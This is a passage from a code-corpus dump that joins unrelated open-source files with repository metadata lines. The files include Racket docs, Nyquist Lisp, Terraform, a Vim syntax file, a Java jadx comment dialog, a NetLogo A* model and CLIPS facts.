@racket[(let ([lt (list 0)]) (list lt lt))] prints as
@racketblock[
(shared ((-1- (list 0))) (list -1- -1-))
]
instead of
@racketblock[
(list (list 0) (list 0))
]
}
]
A program in the teaching languages should be tested using the check forms ---
@racket[(check-expect value value)], @racket[(check-within value value value)], or
@racket[(check-error value string)]. Tests are evaluated when running the program:
when there are no tests, a warning appears in the interactions window;
when all tests succeed, an acknowledgement appears in the interactions window;
otherwise, a testing window appears to report the results. See @secref["menu:view"]
for details on configuring the report behavior.
Tests can be disabled if necessary, see @secref["menu:racket"] for details.
One final difference between these teaching languages and other languages is the way
they save files. That is, when DrRacket saves a file and the current language
is one of these five teaching languages, it inserts three lines of metadata that
record the precise language (including any options set) and the teachpacks.
This has two benefits: opening the file later restores the settings and the metadata
is formulated in such a way as to be executable code so running @exec{racket} or
@exec{gracket} on the file in a shell will run the program in the appropriate language.
This meta data always consists of exactly three lines, and so can be stripped out
by three calls to @racket[read-line].
@; ----------------------------------------
@section[#:tag "experimental-langs"]{Other Experimental Languages}
For information on @onscreen{Lazy Racket}, see @other-doc['(lib
"lazy/lazy.scrbl") #:indirect "Lazy Racket"].
For information on @onscreen{FrTime}, see @other-doc['(lib
"frtime/scribblings/frtime.scrbl") #:indirect "FrTime"].
For information on @onscreen{Algol 60}, see @other-doc['(lib
"algol60/algol60.scrbl") #:indirect "Algol 60"].
@; ----------------------------------------
@include-section["printing.scrbl"]
| Racket | 5 | rrthomas/drracket | drracket/scribblings/drracket/languages.scrbl | [
"Apache-2.0",
"MIT"
] |
(defun ss () (osc c5))
(defun tt () (stretch 2 (snd-tapv (ss) 1.1 (scale *d* (lfo 10)) 2.2)))
(setf *d* .01)
(defun g () (play (tt)))
;(set-sound-srate 10)
;(set-control-srate 10)
(defun rr () (stretch 10 (ramp)))
(defun ll () (stretch 10 (lfo .5)))
(defun xx () (snd-tapv (rr) 1.1 (ll) 2.2))
(defun h () (snd-samples (xx) 150))
(defun chorus (sound maxdepth depth rate saturation)
(let ((modulation (prod depth (stretch-abs 10000.0 (general-lfo rate))))
(offset (/ maxdepth 2.0))
chor)
(setf chor (snd-tapv sound offset modulation maxdepth))
(sum (prod chor saturation) (prod (seq (s-rest offset) sound)
(sum 1.0 (prod -1.0 saturation))))))
(set-sound-srate 22050.0)
(defun f ()
(chorus (s-read "runtime\\ah.wav") .1 .1 1 .5))
(defun e ()
(seq (s-rest .05) (chorus (s-read "rpd.wav") .07 .07 .7 .5)))
(defun d () (sum (e) (f)))
(defun rou () (s-read "round.wav" :time-offset 1.18 :dur (- 8.378 1.18)))
(defun rou4 () (sim (rou)
(at *rd* (rou))
(at (* *rd* 2) (rou))
(at (* *rd* 3) (rou))))
| Common Lisp | 4 | joshrose/audacity | nyquist/test.lsp | [
"CC-BY-3.0"
] |
fileFormatVersion: 2
guid: a5f54f019e6510541ac61eeec96aa82d
folderAsset: yes
timeCreated: 1531456012
licenseType: Pro
DefaultImporter:
externalObjects: {}
userData:
assetBundleName:
assetBundleVariant:
| Unity3D Asset | 0 | samotarnik/grpc | src/csharp/unitypackage/unitypackage_skeleton/Plugins/Grpc.Core/runtimes/ios.meta | [
"Apache-2.0"
] |
.two-factor-auth-container
.form-group.string.required
- if app_activated && sms_activated
= render partial: 'shared/two_factor_app_and_sms'
- elsif app_activated
= render partial: 'shared/two_factor_app'
- elsif sms_activated
= render partial: 'shared/two_factor_sms'
| Slim | 4 | gsmlg/peatio | app/views/shared/_two_factor_auth.html.slim | [
"MIT"
] |
unique template features/testclusterfeature/config; | Pan | 1 | ned21/aquilon | tests/broker/data/utsandbox/hacluster/features/testclusterfeature/config.pan | [
"Apache-2.0"
] |
terraform {
backend "local" {
path = "pool.tfstate"
}
}
locals {
name = var.name
k3s_cluster_secret = var.k3s_cluster_secret
}
provider "aws" {
region = "us-east-2"
profile = "rancher-eng"
}
resource "aws_security_group" "k3s" {
name = "${local.name}-pool"
vpc_id = data.aws_vpc.default.id
ingress {
from_port = 22
to_port = 22
protocol = "TCP"
cidr_blocks = ["0.0.0.0/0"]
}
ingress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
ingress {
from_port = 0
to_port = 0
protocol = "-1"
self = true
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
module "k3s-pool-worker-asg" {
source = "terraform-aws-modules/autoscaling/aws"
version = "3.0.0"
name = "${local.name}-pool"
asg_name = "${local.name}-pool"
instance_type = var.agent_instance_type
image_id = data.aws_ami.ubuntu.id
user_data = base64encode(templatefile("${path.module}/files/pool_worker_userdata.tmpl", { k3s_url = data.terraform_remote_state.server.outputs.public_ip, k3s_cluster_secret = local.k3s_cluster_secret, extra_ssh_keys = var.extra_ssh_keys, install_k3s_version = var.k3s_version }))
ebs_optimized = true
default_cooldown = 10
health_check_grace_period = 30
wait_for_capacity_timeout = "60m"
desired_capacity = var.agent_node_count
health_check_type = "EC2"
max_size = var.agent_node_count
min_size = var.agent_node_count
vpc_zone_identifier = [data.aws_subnet.selected.id]
spot_price = "0.680"
security_groups = [
aws_security_group.k3s.id,
]
lc_name = "${local.name}-pool"
root_block_device = [
{
volume_size = "30"
volume_type = "gp2"
},
]
}
| HCL | 3 | TReZ42/k3s | tests/perf/agents/main.tf | [
"Apache-2.0"
] |
" Vim syntax file
" Language: UnrealScript
" Maintainer: Mark Ferrell <[email protected]>
" URL: ftp://ftp.chaoticdreams.org/pub/ut/vim/uc.vim
" Credits: Based on the java.vim syntax file by Claudio Fleiner
" Last change: 2003 May 31
" Please check :help uc.vim for comments on some of the options available.
" quit when a syntax file was already loaded
if exists("b:current_syntax")
finish
endif
" some characters that cannot be in a UnrealScript program (outside a string)
syn match ucError "[\\@`]"
syn match ucError "<<<\|\.\.\|=>\|<>\|||=\|&&=\|[^-]->\|\*\/"
" we define it here so that included files can test for it
if !exists("main_syntax")
let main_syntax='uc'
endif
syntax case ignore
" keyword definitions
syn keyword ucBranch break continue
syn keyword ucConditional if else switch
syn keyword ucRepeat while for do foreach
syn keyword ucBoolean true false
syn keyword ucConstant null
syn keyword ucOperator new instanceof
syn keyword ucType boolean char byte short int long float double
syn keyword ucType void Pawn sound state auto exec function ipaddr
syn keyword ucType ELightType actor ammo defaultproperties bool
syn keyword ucType native noexport var out vector name local string
syn keyword ucType event
syn keyword ucStatement return
syn keyword ucStorageClass static synchronized transient volatile final
syn keyword ucMethodDecl synchronized throws
" UnrealScript defines classes in sorta fscked up fashion
syn match ucClassDecl "^[Cc]lass[\s$]*\S*[\s$]*expands[\s$]*\S*;" contains=ucSpecial,ucSpecialChar,ucClassKeys
syn keyword ucClassKeys class expands extends
syn match ucExternal "^\#exec.*" contains=ucCommentString,ucNumber
syn keyword ucScopeDecl public protected private abstract
" UnrealScript Functions
syn match ucFuncDef "^.*function\s*[\(]*" contains=ucType,ucStorageClass
syn match ucEventDef "^.*event\s*[\(]*" contains=ucType,ucStorageClass
syn match ucClassLabel "[a-zA-Z0-9]*\'[a-zA-Z0-9]*\'" contains=ucCharacter
syn region ucLabelRegion transparent matchgroup=ucLabel start="\<case\>" matchgroup=NONE end=":" contains=ucNumber
syn match ucUserLabel "^\s*[_$a-zA-Z][_$a-zA-Z0-9_]*\s*:"he=e-1 contains=ucLabel
syn keyword ucLabel default
" The following cluster contains all java groups except the contained ones
syn cluster ucTop contains=ucExternal,ucError,ucError,ucBranch,ucLabelRegion,ucLabel,ucConditional,ucRepeat,ucBoolean,ucConstant,ucTypedef,ucOperator,ucType,ucType,ucStatement,ucStorageClass,ucMethodDecl,ucClassDecl,ucClassDecl,ucClassDecl,ucScopeDecl,ucError,ucError2,ucUserLabel,ucClassLabel
" Comments
syn keyword ucTodo contained TODO FIXME XXX
syn region ucCommentString contained start=+"+ end=+"+ end=+\*/+me=s-1,he=s-1 contains=ucSpecial,ucCommentStar,ucSpecialChar
syn region ucComment2String contained start=+"+ end=+$\|"+ contains=ucSpecial,ucSpecialChar
syn match ucCommentCharacter contained "'\\[^']\{1,6\}'" contains=ucSpecialChar
syn match ucCommentCharacter contained "'\\''" contains=ucSpecialChar
syn match ucCommentCharacter contained "'[^\\]'"
syn region ucComment start="/\*" end="\*/" contains=ucCommentString,ucCommentCharacter,ucNumber,ucTodo
syn match ucCommentStar contained "^\s*\*[^/]"me=e-1
syn match ucCommentStar contained "^\s*\*$"
syn match ucLineComment "//.*" contains=ucComment2String,ucCommentCharacter,ucNumber,ucTodo
hi link ucCommentString ucString
hi link ucComment2String ucString
hi link ucCommentCharacter ucCharacter
syn cluster ucTop add=ucComment,ucLineComment
" match the special comment /**/
syn match ucComment "/\*\*/"
" Strings and constants
syn match ucSpecialError contained "\\."
"syn match ucSpecialCharError contained "[^']"
syn match ucSpecialChar contained "\\\([4-9]\d\|[0-3]\d\d\|[\"\\'ntbrf]\|u\x\{4\}\)"
syn region ucString start=+"+ end=+"+ contains=ucSpecialChar,ucSpecialError
syn match ucStringError +"\([^"\\]\|\\.\)*$+
syn match ucCharacter "'[^']*'" contains=ucSpecialChar,ucSpecialCharError
syn match ucCharacter "'\\''" contains=ucSpecialChar
syn match ucCharacter "'[^\\]'"
syn match ucNumber "\<\(0[0-7]*\|0[xX]\x\+\|\d\+\)[lL]\=\>"
syn match ucNumber "\(\<\d\+\.\d*\|\.\d\+\)\([eE][-+]\=\d\+\)\=[fFdD]\="
syn match ucNumber "\<\d\+[eE][-+]\=\d\+[fFdD]\=\>"
syn match ucNumber "\<\d\+\([eE][-+]\=\d\+\)\=[fFdD]\>"
" unicode characters
syn match ucSpecial "\\u\d\{4\}"
syn cluster ucTop add=ucString,ucCharacter,ucNumber,ucSpecial,ucStringError
" catch errors caused by wrong parenthesis
syn region ucParen transparent start="(" end=")" contains=@ucTop,ucParen
syn match ucParenError ")"
hi link ucParenError ucError
if !exists("uc_minlines")
let uc_minlines = 10
endif
exec "syn sync ccomment ucComment minlines=" . uc_minlines
" Define the default highlighting.
" Only when an item doesn't have highlighting yet
hi def link ucFuncDef Conditional
hi def link ucEventDef Conditional
hi def link ucBraces Function
hi def link ucBranch Conditional
hi def link ucLabel Label
hi def link ucUserLabel Label
hi def link ucConditional Conditional
hi def link ucRepeat Repeat
hi def link ucStorageClass StorageClass
hi def link ucMethodDecl ucStorageClass
hi def link ucClassDecl ucStorageClass
hi def link ucScopeDecl ucStorageClass
hi def link ucBoolean Boolean
hi def link ucSpecial Special
hi def link ucSpecialError Error
hi def link ucSpecialCharError Error
hi def link ucString String
hi def link ucCharacter Character
hi def link ucSpecialChar SpecialChar
hi def link ucNumber Number
hi def link ucError Error
hi def link ucStringError Error
hi def link ucStatement Statement
hi def link ucOperator Operator
hi def link ucOverLoaded Operator
hi def link ucComment Comment
hi def link ucDocComment Comment
hi def link ucLineComment Comment
hi def link ucConstant ucBoolean
hi def link ucTypedef Typedef
hi def link ucTodo Todo
hi def link ucCommentTitle SpecialComment
hi def link ucDocTags Special
hi def link ucDocParam Function
hi def link ucCommentStar ucComment
hi def link ucType Type
hi def link ucExternal Include
hi def link ucClassKeys Conditional
hi def link ucClassLabel Conditional
hi def link htmlComment Special
hi def link htmlCommentPart Special
let b:current_syntax = "uc"
if main_syntax == 'uc'
unlet main_syntax
endif
" vim: ts=8
| VimL | 4 | uga-rosa/neovim | runtime/syntax/uc.vim | [
"Vim"
] |
-- @shouldFailWith OrphanKindDeclaration
module Main where
type Foo :: Type
data Foo = Foo Int
| PureScript | 3 | andys8/purescript | tests/purs/failing/OrphanKindDeclaration2.purs | [
"BSD-3-Clause"
] |
--TEST--
Phar front controller index.php relocate zip-based
--INI--
phar.require_hash=0
--EXTENSIONS--
phar
zlib
--ENV--
SCRIPT_NAME=/frontcontroller5.phar.php
REQUEST_URI=/frontcontroller5.phar.php/
PATH_INFO=/
--FILE_EXTERNAL--
files/frontcontroller.phar.zip
--EXPECTHEADERS--
Status: 301 Moved Permanently
Location: /frontcontroller5.phar.php/index.php
--EXPECT--
| PHP | 2 | NathanFreeman/php-src | ext/phar/tests/zip/frontcontroller5.phar.phpt | [
"PHP-3.01"
] |
package jadx.gui.ui.dialog;
import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Container;
import java.awt.Dialog;
import java.awt.Dimension;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
import java.util.function.Consumer;
import javax.swing.BorderFactory;
import javax.swing.Box;
import javax.swing.BoxLayout;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingConstants;
import javax.swing.WindowConstants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import jadx.api.data.ICodeComment;
import jadx.api.data.impl.JadxCodeComment;
import jadx.api.data.impl.JadxCodeData;
import jadx.gui.settings.JadxProject;
import jadx.gui.ui.codearea.CodeArea;
import jadx.gui.utils.NLS;
import jadx.gui.utils.TextStandardActions;
import jadx.gui.utils.UiUtils;
public class CommentDialog extends JDialog {
private static final long serialVersionUID = -1865682124935757528L;
private static final Logger LOG = LoggerFactory.getLogger(CommentDialog.class);
public static void show(CodeArea codeArea, ICodeComment blankComment) {
ICodeComment existComment = searchForExistComment(codeArea, blankComment);
Dialog dialog;
if (existComment != null) {
dialog = new CommentDialog(codeArea, existComment, true);
} else {
dialog = new CommentDialog(codeArea, blankComment, false);
}
dialog.setVisible(true);
}
private static void updateCommentsData(CodeArea codeArea, Consumer<List<ICodeComment>> updater) {
try {
JadxProject project = codeArea.getProject();
JadxCodeData codeData = project.getCodeData();
if (codeData == null) {
codeData = new JadxCodeData();
}
List<ICodeComment> list = new ArrayList<>(codeData.getComments());
updater.accept(list);
Collections.sort(list);
codeData.setComments(list);
project.setCodeData(codeData);
} catch (Exception e) {
LOG.error("Comment action failed", e);
}
try {
// refresh code
codeArea.refreshClass();
} catch (Exception e) {
LOG.error("Failed to reload code", e);
}
}
private static ICodeComment searchForExistComment(CodeArea codeArea, ICodeComment blankComment) {
try {
JadxProject project = codeArea.getProject();
JadxCodeData codeData = project.getCodeData();
if (codeData == null || codeData.getComments().isEmpty()) {
return null;
}
for (ICodeComment comment : codeData.getComments()) {
if (Objects.equals(comment.getNodeRef(), blankComment.getNodeRef())
&& comment.getOffset() == blankComment.getOffset()
&& comment.getAttachType() == blankComment.getAttachType()) {
return comment;
}
}
} catch (Exception e) {
LOG.error("Error searching for exists comment", e);
}
return null;
}
private final transient CodeArea codeArea;
private final transient ICodeComment comment;
private final transient boolean updateComment;
private transient JTextArea commentArea;
public CommentDialog(CodeArea codeArea, ICodeComment comment, boolean updateComment) {
super(codeArea.getMainWindow());
this.codeArea = codeArea;
this.comment = comment;
this.updateComment = updateComment;
initUI();
}
private void apply() {
String newCommentStr = commentArea.getText().trim();
if (newCommentStr.isEmpty()) {
if (updateComment) {
remove();
} else {
cancel();
}
return;
}
ICodeComment newComment = new JadxCodeComment(comment.getNodeRef(),
newCommentStr, comment.getOffset(), comment.getAttachType());
if (updateComment) {
updateCommentsData(codeArea, list -> {
list.remove(comment);
list.add(newComment);
});
} else {
updateCommentsData(codeArea, list -> list.add(newComment));
}
dispose();
}
private void remove() {
updateCommentsData(codeArea, list -> list.removeIf(c -> c == comment));
dispose();
}
private void cancel() {
dispose();
}
private void initUI() {
commentArea = new JTextArea();
TextStandardActions.attach(commentArea);
commentArea.setEditable(true);
commentArea.setFont(codeArea.getMainWindow().getSettings().getFont());
commentArea.setAlignmentX(Component.LEFT_ALIGNMENT);
commentArea.addKeyListener(new KeyAdapter() {
@Override
public void keyPressed(KeyEvent e) {
switch (e.getKeyCode()) {
case KeyEvent.VK_ENTER:
if (e.isShiftDown() || e.isControlDown()) {
commentArea.append("\n");
} else {
apply();
}
break;
case KeyEvent.VK_ESCAPE:
cancel();
break;
}
}
});
if (updateComment) {
commentArea.setText(comment.getComment());
}
JScrollPane textAreaScrollPane = new JScrollPane(commentArea);
textAreaScrollPane.setAlignmentX(LEFT_ALIGNMENT);
JLabel commentLabel = new JLabel(NLS.str("comment_dialog.label"), SwingConstants.LEFT);
JLabel usageLabel = new JLabel(NLS.str("comment_dialog.usage"), SwingConstants.LEFT);
JPanel mainPanel = new JPanel();
mainPanel.setLayout(new BoxLayout(mainPanel, BoxLayout.PAGE_AXIS));
mainPanel.add(commentLabel);
mainPanel.add(Box.createRigidArea(new Dimension(0, 5)));
mainPanel.add(textAreaScrollPane);
mainPanel.add(Box.createRigidArea(new Dimension(0, 5)));
mainPanel.add(usageLabel);
mainPanel.setBorder(BorderFactory.createEmptyBorder(10, 10, 10, 10));
JPanel buttonPane = initButtonsPanel();
Container contentPane = getContentPane();
contentPane.add(mainPanel, BorderLayout.CENTER);
contentPane.add(buttonPane, BorderLayout.PAGE_END);
if (updateComment) {
setTitle(NLS.str("comment_dialog.title.update"));
} else {
setTitle(NLS.str("comment_dialog.title.add"));
}
pack();
if (!codeArea.getMainWindow().getSettings().loadWindowPos(this)) {
setSize(800, 140);
}
setLocationRelativeTo(null);
setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE);
setModalityType(ModalityType.APPLICATION_MODAL);
UiUtils.addEscapeShortCutToDispose(this);
}
protected JPanel initButtonsPanel() {
JButton cancelButton = new JButton(NLS.str("common_dialog.cancel"));
cancelButton.addActionListener(event -> cancel());
String applyStr = updateComment ? NLS.str("common_dialog.update") : NLS.str("common_dialog.add");
JButton renameBtn = new JButton(applyStr);
renameBtn.addActionListener(event -> apply());
getRootPane().setDefaultButton(renameBtn);
JButton removeBtn;
if (updateComment) {
removeBtn = new JButton(NLS.str("common_dialog.remove"));
removeBtn.addActionListener(event -> remove());
} else {
removeBtn = null;
}
JPanel buttonPane = new JPanel();
buttonPane.setLayout(new BoxLayout(buttonPane, BoxLayout.LINE_AXIS));
buttonPane.setBorder(BorderFactory.createEmptyBorder(0, 10, 10, 10));
buttonPane.add(Box.createRigidArea(new Dimension(5, 0)));
buttonPane.add(Box.createHorizontalGlue());
buttonPane.add(renameBtn);
if (removeBtn != null) {
buttonPane.add(Box.createRigidArea(new Dimension(10, 0)));
buttonPane.add(removeBtn);
}
buttonPane.add(Box.createRigidArea(new Dimension(10, 0)));
buttonPane.add(cancelButton);
return buttonPane;
}
@Override
public void dispose() {
codeArea.getMainWindow().getSettings().saveWindowPos(this);
super.dispose();
}
}
| Java | 4 | zhongqingsong/jadx | jadx-gui/src/main/java/jadx/gui/ui/dialog/CommentDialog.java | [
"Apache-2.0"
] |
<div class="modal hidden" id="modal-toc">
<button class="close"><img src="../assets/cross.svg" alt="close" title="close modal"></button>
<h3>TABLE OF CONTENTS</h3>
<p></p>
<b></b>
<section id="tableofcontents"></section>
</div>
| Kit | 2 | pws1453/web-client | source/imports/app/docs-modal-toc.kit | [
"MIT"
] |
: main
"foo" string?
3.14 string?
#5 string?
5 string?
;
| MUF | 1 | revarbat/mufsim | tests/stringp.muf | [
"BSD-2-Clause"
] |
package foo
private open class A {
open fun f() {}
} | Groff | 4 | qussarah/declare | jps-plugin/testData/incremental/classHierarchyAffected/multiModuleSimple/module1_A.kt.new.1 | [
"Apache-2.0"
] |
;----------------- Include Algorithms Library --------------------------------
__includes [ "A-star-LT.nls" ]
;--------------- Customizable Reports -------------------
; These reports must be customized in order to solve different problems using the
; same A* function.
; Rules are represented by using pairs [ "representation" cost f]
; in such a way that f allows to transform states (it is the transition function),
; cost is the cost of applying the transition on a state,
; and "representation" is a string to identify the rule. We will use tasks in
; order to store the transition functions.
to-report applicable-transitions
report (list
(list "*3" 1 ([ x -> x * 3 ]))
(list "+7" 1 ([ x -> x + 7 ]))
(list "-2" 1 ([ x -> x - 2 ]))
)
end
; valid? is a boolean report to say which states are valid
to-report valid? [x]
report (x > 0)
end
; children-states is a state report that returns the children for the current state.
; It will return a list of pairs [ns tran], where ns is the content of the children-state,
; and tran is the applicable transition to get it.
; It maps the applicable transitions on the current content, and then filters those
; states that are valid.
to-report AI:children-of [content]
report filter [ s -> valid? (first s) ]
(map [ t -> (list (run-result (last t) content) t) ]
applicable-transitions)
end
; final-state? is a state report that identifies the final states for the problem.
; It usually will be a property on the content of the state (for example, if it is
; equal to the Final State). It allows the use of parameters because maybe the
; verification of reaching the goal depends on some extra information from the problem.
to-report AI:final-state? [content params]
report ( content = params)
end
; Searcher report to compute the heuristic for this searcher
to-report AI:heuristic [content #Goal]
let d abs (content - #Goal)
;report d
report ifelse-value (d > 3) [log d 3][d]
end
to-report AI:equal? [a b]
report a = b
end
;------------------------------------------------------------------------------------------
; Auxiliary procedure to test the A* algorithm between two random states of the network
to test
ca
; We compute the path with A*
let ti timer
let path (A* Initial Final)
show timer - ti
show path
end
@#$#@#$#@
GRAPHICS-WINDOW
210
10
647
448
-1
-1
13.0
1
10
1
1
1
0
0
0
1
-16
16
-16
16
0
0
1
ticks
30.0
BUTTON
131
76
194
109
NIL
test
NIL
1
T
OBSERVER
NIL
NIL
NIL
NIL
1
SLIDER
28
10
200
43
Initial
Initial
0
100
3.0
1
1
NIL
HORIZONTAL
INPUTBOX
30
120
185
180
Final
50000.0
1
0
Number
@#$#@#$#@
@#$#@#$#@
default
true
0
Polygon -7500403 true true 150 5 40 250 150 205 260 250
circle
false
0
Circle -7500403 true true 0 0 300
@#$#@#$#@
NetLogo 6.1.1
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
default
0.0
-0.2 0 0.0 1.0
0.0 1 1.0 0.0
0.2 0 0.0 1.0
link direction
true
0
Line -7500403 true 150 150 90 180
Line -7500403 true 150 150 210 180
@#$#@#$#@
0
@#$#@#$#@
| NetLogo | 4 | fsancho/IA | 03. Informed Search/A-star Problem Solver LT - Numerical Puzzle.nlogo | [
"MIT"
] |
/*!
* Copyright 2021 XGBoost contributors
*/
#ifndef XGBOOST_DATA_HISTOGRAM_CUT_FORMAT_H_
#define XGBOOST_DATA_HISTOGRAM_CUT_FORMAT_H_
#include "../common/hist_util.h"
namespace xgboost {
namespace data {
inline bool ReadHistogramCuts(common::HistogramCuts *cuts, dmlc::SeekStream *fi) {
if (!fi->Read(&cuts->cut_values_.HostVector())) {
return false;
}
if (!fi->Read(&cuts->cut_ptrs_.HostVector())) {
return false;
}
if (!fi->Read(&cuts->min_vals_.HostVector())) {
return false;
}
return true;
}
inline size_t WriteHistogramCuts(common::HistogramCuts const &cuts, dmlc::Stream *fo) {
size_t bytes = 0;
fo->Write(cuts.cut_values_.ConstHostVector());
bytes += cuts.cut_values_.ConstHostSpan().size_bytes() + sizeof(uint64_t);
fo->Write(cuts.cut_ptrs_.ConstHostVector());
bytes += cuts.cut_ptrs_.ConstHostSpan().size_bytes() + sizeof(uint64_t);
fo->Write(cuts.min_vals_.ConstHostVector());
bytes += cuts.min_vals_.ConstHostSpan().size_bytes() + sizeof(uint64_t);
return bytes;
}
} // namespace data
} // namespace xgboost
#endif // XGBOOST_DATA_HISTOGRAM_CUT_FORMAT_H_
| C | 3 | GinkoBalboa/xgboost | src/data/histogram_cut_format.h | [
"Apache-2.0"
] |
CREATE TABLE `q_system_update` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`version` varchar(255) DEFAULT '',
`timepoint` datetime NOT NULL,
`status` tinyint(1) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC; | SQL | 3 | WizardXiao/tidb | br/tests/lightning_tool_241/data/qyjc.q_system_update-schema.sql | [
"Apache-2.0"
] |
#pragma once
#include <ATen/ATen.h>
#include <c10/util/Optional.h>
#include <torch/csrc/autograd/generated/variable_factories.h>
#include <torch/csrc/autograd/variable.h>
namespace torch {
// NOTE [ Exposing declarations in `at::` to `torch::` ]
//
// The following line `using namespace at;` is responsible for exposing all declarations in
// `at::` namespace to `torch::` namespace.
//
// According to the rules laid out in
// https://en.cppreference.com/w/cpp/language/qualified_lookup, section "Namespace members":
// ```
// Qualified lookup within the scope of a namespace N first considers all declarations that are
// located in N and all declarations that are located in the inline namespace members of N
// (and, transitively, in their inline namespace members). If there are no declarations in that set
// then it considers declarations in all namespaces named by using-directives found in N and
// in all transitive inline namespace members of N.
// ```
//
// This means that if both `at::` and `torch::` namespaces have a function with the same signature
// (e.g. both `at::func()` and `torch::func()` exist), after `namespace torch { using namespace at; }`,
// when we call `torch::func()`, the `func()` function defined in `torch::` namespace will always
// be called, and the `func()` function defined in `at::` namespace is always hidden.
using namespace at; // NOLINT
using c10::optional;
using c10::nullopt;
using Dtype = at::ScalarType;
/// Fixed width dtypes.
constexpr auto kUInt8 = at::kByte;
constexpr auto kInt8 = at::kChar;
constexpr auto kInt16 = at::kShort;
constexpr auto kInt32 = at::kInt;
constexpr auto kInt64 = at::kLong;
constexpr auto kFloat16 = at::kHalf;
constexpr auto kFloat32 = at::kFloat;
constexpr auto kFloat64 = at::kDouble;
/// Rust-style short dtypes.
constexpr auto kU8 = kUInt8;
constexpr auto kI8 = kInt8;
constexpr auto kI16 = kInt16;
constexpr auto kI32 = kInt32;
constexpr auto kI64 = kInt64;
constexpr auto kF16 = kFloat16;
constexpr auto kF32 = kFloat32;
constexpr auto kF64 = kFloat64;
} // namespace torch
| C | 4 | Hacky-DH/pytorch | torch/csrc/api/include/torch/types.h | [
"Intel"
] |
// REQUIRES: VENDOR=apple
// REQUIRES: OS=macosx
// RUN: %empty-directory(%t.module-cache)
// RUN: %target-swift-frontend -emit-module -o %t.foo.swiftmodule -module-cache-path %t.module-cache -I %S/Inputs/CHeaders -I %S/Inputs/Swift %s -target %target-cpu-apple-macosx10.14
// Without -clang-target, we build two X.pcm
// RUN: find %t.module-cache -name "X-*.pcm" | count 2
// RUN: %empty-directory(%t.module-cache)
// RUN: %target-swift-frontend -emit-module -o %t.foo.swiftmodule -module-cache-path %t.module-cache -I %S/Inputs/CHeaders -I %S/Inputs/Swift %s -target %target-cpu-apple-macosx10.14 -clang-target %target-cpu-apple-macosx10.14
// With -clang-target, we build one X.pcm
// RUN: find %t.module-cache -name "X-*.pcm" | count 1
// RUN: %target-swift-frontend -scan-dependencies -module-cache-path %t.module-cache %s -o %t.deps.json -I %S/Inputs/CHeaders -I %S/Inputs/Swift -target %target-cpu-apple-macosx10.14 -clang-target %target-cpu-apple-macosx10.14
// RUN: %FileCheck %s < %t.deps.json
// CHECK: "-clang-target"
// CHECK-NEXT: "{{.*}}-apple-macosx10.14"
import X
import XWithTarget
| Swift | 3 | gandhi56/swift | test/ScanDependencies/clang-target.swift | [
"Apache-2.0"
] |
FORMAT: 1A
# My API
## Resource 204 without Body [/204-without-body]
### Retrieve Representation [GET]
+ Response 204
## Resource 205 without Body [/205-without-body]
### Retrieve Representation [GET]
+ Response 205
## Resource 204 with Body [/204-with-body]
### Retrieve Representation [GET]
+ Response 204 (text/plain; charset=utf-8)
+ Body
test
## Resource 205 with Body [/205-with-body]
### Retrieve Representation [GET]
+ Response 205 (text/plain; charset=utf-8)
+ Body
test
| API Blueprint | 3 | tomoyamachi/dredd | packages/dredd/test/fixtures/response/204-205-body.apib | [
"MIT"
] |
import _normalize from "normalize-path"
import memoize from "memoizee"
const normalize = memoize(_normalize)
export default normalize
| TypeScript | 4 | waltercruz/gatsby | packages/gatsby/src/redux/reducers/normalize-path.ts | [
"MIT"
] |
(defrule startup
=>
(assert (stage (value duplicate))
(line (p1 50003) (p2 60003))
(line (p1 30005) (p2 30006))
(line (p1 80005) (p2 80006))
(line (p1 50008) (p2 60008))
(line (p1 0) (p2 20000))
(line (p1 20000) (p2 30000))
(line (p1 30000) (p2 40000))
(line (p1 0) (p2 2))
(line (p1 2) (p2 3))
(line (p1 3) (p2 4))
(line (p1 4) (p2 40004))
(line (p1 40004) (p2 40000))
(line (p1 40000) (p2 50001))
(line (p1 50001) (p2 50002))
(line (p1 50002) (p2 50003))
(line (p1 50003) (p2 50005))
(line (p1 50005) (p2 40004))
(line (p1 50005) (p2 30005))
(line (p1 30005) (p2 20005))
(line (p1 20005) (p2 10005))
(line (p1 10005) (p2 4))
(line (p1 60000) (p2 80000))
(line (p1 80000) (p2 90000))
(line (p1 90000) (p2 100000))
(line (p1 60000) (p2 60002))
(line (p1 60002) (p2 60003))
(line (p1 60003) (p2 60004))
(line (p1 60004) (p2 100004))
(line (p1 100004) (p2 100000))
(line (p1 100000) (p2 110001))
(line (p1 110001) (p2 110002))
(line (p1 110002) (p2 110003))
(line (p1 110003) (p2 110005))
(line (p1 110005) (p2 100004))
(line (p1 110005) (p2 90005))
(line (p1 90005) (p2 80005))
(line (p1 80005) (p2 70005))
(line (p1 70005) (p2 60004))
(line (p1 6) (p2 20006))
(line (p1 20006) (p2 30006))
(line (p1 30006) (p2 40006))
(line (p1 6) (p2 8))
(line (p1 8) (p2 9))
(line (p1 9) (p2 10))
(line (p1 10) (p2 40010))
(line (p1 40010) (p2 40006))
(line (p1 40006) (p2 50007))
(line (p1 50007) (p2 50008))
(line (p1 50008) (p2 50009))
(line (p1 50009) (p2 50011))
(line (p1 50011) (p2 40010))
(line (p1 50011) (p2 30011))
(line (p1 30011) (p2 20011))
(line (p1 20011) (p2 10011))
(line (p1 10011) (p2 10))
(line (p1 60006) (p2 80006))
(line (p1 80006) (p2 90006))
(line (p1 90006) (p2 100006))
(line (p1 60006) (p2 60008))
(line (p1 60008) (p2 60009))
(line (p1 60009) (p2 60010))
(line (p1 60010) (p2 100010))
(line (p1 100010) (p2 100006))
(line (p1 100006) (p2 110007))
(line (p1 110007) (p2 110008))
(line (p1 110008) (p2 110009))
(line (p1 110009) (p2 110011))
